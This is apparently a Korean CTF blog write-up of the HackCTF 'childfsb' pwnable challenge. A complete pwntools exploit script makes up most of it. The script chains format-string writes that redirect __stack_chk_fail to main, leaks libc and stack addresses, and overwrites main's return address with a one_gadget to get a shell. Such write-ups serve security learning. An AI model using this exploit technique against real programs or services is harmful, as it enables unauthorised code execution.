문제 풀이 환경 : ubuntu 16.04 |
fsb, bof 둘 다 터짐
하지만 bof로 RET를 건들 수는 없고, canary를 건드려 __stack_chk_fail 함수만 호출가능할 정도...
+로 직전에 풀었던 babyfsb 문제와 달라진 점이있는데,
read함수로 적을 수 있는 size가 0x19로 매우 짧아졌단 것. 그래서 두바이트씩 찔끔찔끔 덮어야 한다.
Summary
- __stack_chk_fail 함수를 main 함수로 overwriting
- libc 주소 leak
- main의 ret를 one_gadget으로 overwriting
처음에 __stack_chk_fail 함수를 main 함수로 overwriting할 때, 하위 2바이트만 덮어도 된다.
main의 ret를 one_gadget으로 덮은 이유?
처음에 __stack_chk_fail 함수로 덮으려고 했었다. 하지만 여기에 one_gadget으로 두바이트씩 찔끔 덮어주면 main 으로 돌아가지가 않는다. (주소가 변해서)
그래서 고민하다가 main의 ret를 덮어주기로 했다. main으로 돌릴때 일부러 stack smashing을 일으켜서 __stack_chk_fail 함수를 호출하여 main으로 돌려주는데, 이 과정 까지에는 main의 ret가 실행될 일이 없으니 계속 main으로 돌릴 수 있기 때문이다. 또한 마지막에 stack smashing만 안일으키면 자동적으로 main의 ret이 실행되니 굳이 저 위치로 이동을 안시켜도 되기 때문이다.
rtld는 안구해더 댐ㅎㅎㅎ;
from pwn import *
#p = process('./childfsb')
p = remote('ctf.j0n9hyun.xyz', 3037)
e = ELF('./childfsb')
#libc = e.libc
libc = ELF('./libc.so.6')
rtld_offset = 0x5f0f48
stack_chk_fail_got = e.got['__stack_chk_fail']
main = e.symbols['main']
one_gadget_offset = 0x45216
main_low = main & 0xffff
# offset 6
payload = ''
payload += '%{}c'.format(main_low)
payload += '%8$hn'
payload += 'A' * (8 - len(payload) % 8)
payload += p64(stack_chk_fail_got)
print hex(len(payload))
payload += 'B' * (0x19 - len(payload))
#pause()
p.sendafter('hello\n', payload)
# libc leak
payload = ''
payload += 'l:%17$p'
payload += 'sta:%10$p'
payload += 'B' * (0x19 - len(payload))
#pause()
p.sendafter('hello\n', payload)
p.recvuntil('l:')
leak = int(p.recv(14), 16)
log.info('leak = '+ hex(leak))
p.recvuntil('sta:')
stack = int(p.recv(14), 16)
log.info('stack = '+hex(stack))
main_ret = stack + 0x8
log.info('main_ret = '+hex(main_ret))
libc_base = leak - libc.symbols['__libc_start_main'] - 240
log.info('libc_base = '+hex(libc_base))
# rtld
rtld = libc_base + rtld_offset
# one_gadget
one_gadget = libc_base + one_gadget_offset
log.info('one_gadget = ' + hex(one_gadget))
one_low = one_gadget & 0xffff
one_middle = (one_gadget >> 16) & 0xffff
one_high = (one_gadget >> 32) & 0xffff
log.info('low ' +hex(one_low))
log.info('middle ' +hex(one_middle))
log.info('high ' +hex(one_high))
# main_ret -> one_gadget ...
payload = ''
payload += '%{}c'.format(one_low)
payload += '%8$hn'
payload += 'A' * (8-len(payload)%8)
print (len(payload))
payload += p64(main_ret)
payload += 'B' * (0x19 - len(payload))
#pause()
p.sendafter('hello\n', payload)
payload = ''
payload += '%{}c'.format(one_middle)
payload += '%8$hn'
payload += 'A' * (8-len(payload)%8)
print len(payload)
payload += p64(main_ret + 2)
payload += 'B' * (0x19 - len(payload))
#pause()
p.sendafter('hello\n', payload)
payload = ''
payload += '%{}c'.format(one_high)
payload += '%8$hn'
payload += 'A' * (8-len(payload)%8)
print len(payload)
payload += p64(main_ret + 4)
#payload += 'B' * (0x19 - len(payload))
pause()
p.sendafter('hello\n', payload)
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] World Best Encryption Tool 풀이 (64bit, leak) (0) | 2021.04.28 |
---|---|
[HackCTF : Pwnable] adultfsb 풀이 (64bit, FSB) (0) | 2021.04.26 |
[HackCTF : Pwnable] babyfsb 풀이 (64bit, FSB) (0) | 2021.04.26 |
[HackCTF : Pwnable] You are silver 풀이 (64bit, FSB) (수정) (0) | 2021.04.20 |
[HackCTF : Pwnable] Unexploitable #3 풀이 (64bit, RTC, fwrite) (0) | 2021.04.20 |